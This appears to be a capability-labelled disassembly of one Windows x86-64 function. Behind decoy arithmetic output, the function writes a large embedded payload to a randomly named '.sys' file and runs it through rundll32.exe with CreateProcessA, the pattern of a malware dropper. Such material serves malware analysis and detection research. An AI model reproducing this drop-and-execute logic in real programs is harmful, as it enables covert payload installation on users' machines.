Function at 0x140003b20
Capabilities:
Create process on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
lea rbp, [rax - 0x118]
sub rsp, 0x200
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
mov rax, qword [0x14014f738]
xor rax, rsp
mov qword [rbp + 0xc0], rax
movsd xmm7, qword [0x1401467c8]
movapd xmm0, xmm7
call fcn.140007504
lea rcx, [0x14014f580]
movapd xmm1, xmm7
movapd xmm6, xmm0
call fcn.140002890
lea rdx, [0x1401467c0]
mov rcx, rax
call fcn.140002500
mov rcx, rax
movapd xmm1, xmm6
call fcn.140002890
mov dl, 0xa
mov rcx, rax
mov rdi, rax
call fcn.140002a70
mov rcx, rdi
call fcn.140001bd0
movsd xmm1, qword [0x1401467b8]
movapd xmm0, xmm7
call section.text
lea rcx, [0x14014f580]
movapd xmm1, xmm0
call fcn.140002890
mov dl, 0xa
mov rcx, rax
mov rdi, rax
call fcn.140002a70
mov rcx, rdi
call fcn.140001bd0
movsd xmm0, qword [0x1401467b0]
call fcn.140157050
movapd xmm7, xmm0
movsd xmm0, qword [0x1401467a8]
call fcn.1401574e0
movapd xmm8, xmm0
movsd xmm0, qword [0x1401467b0]
call fcn.140156bc0
lea rcx, [0x14014f580]
movapd xmm1, xmm0
call fcn.140002890
mov dl, 0xa
mov rcx, rax
mov rdi, rax
call fcn.140002a70
mov rcx, rdi
call fcn.140001bd0
lea rcx, [0x14014f580]
movapd xmm1, xmm7
call fcn.140002890
mov dl, 0xa
mov rcx, rax
mov rdi, rax
call fcn.140002a70
mov rcx, rdi
call fcn.140001bd0
lea rcx, [0x14014f580]
movapd xmm1, xmm8
call fcn.140002890
mov dl, 0xa
mov rcx, rax
mov rdi, rax
call fcn.140002a70
mov rcx, rdi
call fcn.140001bd0
xor ecx, ecx
call fcn.140007414
mov rcx, rax
call fcn.1400088a4
xor r13d, r13d
lea r12, [0x140151500]
mov edi, r13d
call fcn.1400088bc
lea ecx, [rax - 0x61]
cmp cl, 5
ja 0x140003cbb
mov byte [rdi + r12], al
inc rdi
cmp rdi, 0xa
jl 0x140003ca7
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r12
repne scasb al, byte [rdi]
mov eax, dword [str..sys]
lea rdx, [0x140146798]
mov dword [rdi - 1], eax
movzx eax, byte [0x1401467a0]
mov rcx, r12
mov byte [rdi + 3], al
call fcn.140008898
lea rdi, [0x14001d570]
mov rsi, rax
mov ebx, 0x128200
nop dword [rax]
movzx r8d, byte [rdi]
lea rdx, [0x140146794]
mov rcx, rsi
call fcn.140008690
inc rdi
dec rbx
jne 0x140003d00
mov rcx, rsi
call fcn.140008628
lea r8d, [rbx + 0x68]
lea rcx, [rsp + 0x70]
xor edx, edx
call fcn.140007a50
xor eax, eax
lea r8, [rbp - 0x20]
movups xmm0, xmmword [str.C:Windows_system32_rundll32.exe]
movups xmm1, xmmword [0x140146780]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
movaps xmmword [rbp - 0x20], xmm0
movaps xmmword [rbp - 0x10], xmm1
movzx eax, byte [0x140146790]
lea rdx, str._s__s_1
lea rcx, [rbp + 0x50]
mov byte [rbp], al
xor eax, eax
mov r9, r12
mov qword [rbp + 1], rax
mov qword [rbp + 9], rax
mov qword [rbp + 0x11], rax
mov qword [rbp + 0x19], rax
mov qword [rbp + 0x21], rax
mov qword [rbp + 0x29], rax
mov qword [rbp + 0x31], rax
mov qword [rbp + 0x39], rax
mov word [rbp + 0x41], ax
mov byte [rbp + 0x43], al
mov dword [rsp + 0x70], 0x68
call fcn.1400084e8
lea rdx, [rsp + 0x50]
lea rax, [rsp + 0x70]
lea rcx, [rbp - 0x20]
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
lea rdx, [rbp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
call fcn.1400083f0
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r13
pop r12
pop rbp
ret